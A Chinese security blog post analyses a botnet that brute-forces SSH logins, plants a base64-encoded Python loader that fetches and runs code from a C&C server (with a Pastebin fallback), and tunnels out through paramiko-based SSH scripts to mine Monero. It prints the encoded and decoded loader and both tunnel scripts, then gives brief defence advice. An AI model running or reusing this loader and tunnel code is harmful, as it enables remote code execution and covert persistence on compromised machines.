抓住来自SSH隧道的幽灵
导语:最近在安全运营过程当中,我们发现有很多挖矿或者外联C&C服务器的隐藏流量来自于标准SSH隧道。黑客入侵成功后,保持连接是他们必须要做的第一件事情。本篇文章我们从僵尸网络运营、感染流程以及安全运营防范等几个方面深度分析一下。
0x00、入侵痕迹发现
最近在安全运营过程当中,我们发现有很多挖矿或者外联C&C服务器的隐藏流量来自于标准SSH隧道。黑客入侵成功后,保持连接是他们必须要做的第一件事情。本篇文章我们从僵尸网络运营、感染流程以及安全运营防范等几个方面深度分析一下。
1、通过态势感知产品的C&C外联检测模块,发现对外可疑连接,如果对外连接IP为C&C服务器地址或者挖矿地址。证明存在异常,然后登陆服务器查看建立的连接。这里需要注意的是:主机安全在被感染前安装和之后安装,如果恶意软件在其之前安装,有可能检测手段会丧失,这时候,基于网络层面检测就起到关键作用了。
2、由于很多C&C外联只是需要上传数据的时候才产生连接,所以需要登录服务器查看具体的对外连接。图一为查询数据,图二为威胁情报报告外联ip地址为C&C僵尸网络服务器。
0x01、僵尸网络运营&感染过程
一旦黑客扫描机器人成功猜到目标Linux机器的SSH登录凭证,它将部署一个简单的base64编码的Python脚本,该脚本连接到命令和控制(C&C)服务器以获取并执行其他Python代码。
python -c import base64;exec(base64.b64decode('d2hpbGUgVHJ1ZToKCWRpcj0naHR0cDovLzIwOC45Mi4xMS4yMjo0NDMnCgliYWNrdXA9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3lEbnpWY3h3MzQnCgl0cnk6CgkJcGFnZT1iYXNlNjQuYjY0ZGVjb2RlKHVybGxpYjIudXJsb3BlbihkaXIrJy9hcGk/dHlwZT1ib3QnKS5yZWFkKCkpCgkJZXhlYyhwYWdlKQoJZXhjZXB0OgoJCXRyeToKCQkJZGlyPXVybGxpYjIudXJsb3BlbihiYWNrdXApLnJlYWQoKS5zdHJpcCgpCgkJCXBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIyLnVybG9wZW4oZGlyKycvYXBpP3R5cGU9Ym90JykucmVhZCgpKQoJCQlleGVjKHBhZ2UpCgkJZXhjZXB0OgoJCQlwYXNzCgl0aW1lLnNsZWVwKDUwMCk='))
我们获取的早期样本:
base64部分加密代码为:
while True: dir='http://208.92.11.22:443' backup='http://pastebin.com/raw/yDnzVcxw34' try: page=base64.b64decode(urllib2.urlopen(dir+'/api?type=bot').read()) exec(page) except: try: dir=urllib2.urlopen(backup).read().strip() page=base64.b64decode(urllib2.urlopen(dir+'/api?type=bot').read()) exec(page) except: pass time.sleep(500)
网络僵尸特点:
· 基于Python脚本语言使其难以检测
· 如果原始服务器无法访问,则利用Pastebin.com接收新的命令和控制服务器(C&C)分配
· 正在挖掘罗门币,一种受网络罪犯青睐的高度匿名加密货币。(后期加装挖矿脚本)
但是攻击者需要应对的挑战之一是如何维护可持续的C&C基础架构,而不会被企业安全解决方案快速列入黑名单,或者在执法和安全供应商滥用报告之后经常被ISP和托管服务关闭。以上这种直接连接很容易被网络入侵检测系统发现。
网络犯罪分子程序又一次进化。
通过Fabric(用于简化SSH应用程序部署或系统管理任务的库和命令行工具)使用流行的Paramiko Python库来管理它的SSH连接,通过python脚本建立对外端ssh加密隧连接。
客户端:
import paramiko import threading client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect('208.92.11.22', username='root', password='toor') chan = client.get_transport().open_session() chan.send('Hey i am connected :) ') print chan.recv(1024) client.close
服务器端:
import socket import paramiko import threading import sys host_key = paramiko.RSAKey(filename='/root/.ssh/test_rsa.key') class Server (paramiko.ServerInterface): def _init_(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'root') and (password == 'toor'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('208.92.11.22', 22)) sock.listen(100) print '[+] Listening for connection ...' client, addr = sock.accept() except Exception, e: print '[-] Listen/bind/accept failed: ' + str(e) sys.exit(1) print '[+] Got a connection!' try: t = paramiko.Transport(client) try: t.load_server_moduli() except: print '[-] (Failed to load xxx )' raise t.add_server_key(host_key) server = Server() try: t.start_server(server=server) except paramiko.SSHException, x: print '[-] SSH negotiation failed.' chan = t.accept(20) print '[+] Authenticated!' print chan.recv(1024) chan.send('Yeah i can see this') except Exception, e: print '[-] Caught exception: ' + str(e. class ) + ': ' + str(e) try: t.close() except: pass sys.exit(1)
最终在服务器上形成如下连接。
root@bt:~# netstat -antp | grep "22" tcp 0 0 10.0.2.15:22 10.0.2.1:57590 ESTABLISHED 1732/python tcp 0 0 10.0.2.16:22 10.0.2.1:40539 ESTABLISHED 2218/sshd: root@not
0x02、防御手段
对外ssh加密隧道连接本身可以逃逸基于内容检测的IDS规则,所以对外部连接IP域名必须要与威胁情报关联检测,除了网络层面检测,还需要加强主机层面实时进程、端口检测。提升入侵排查能力。
发表评论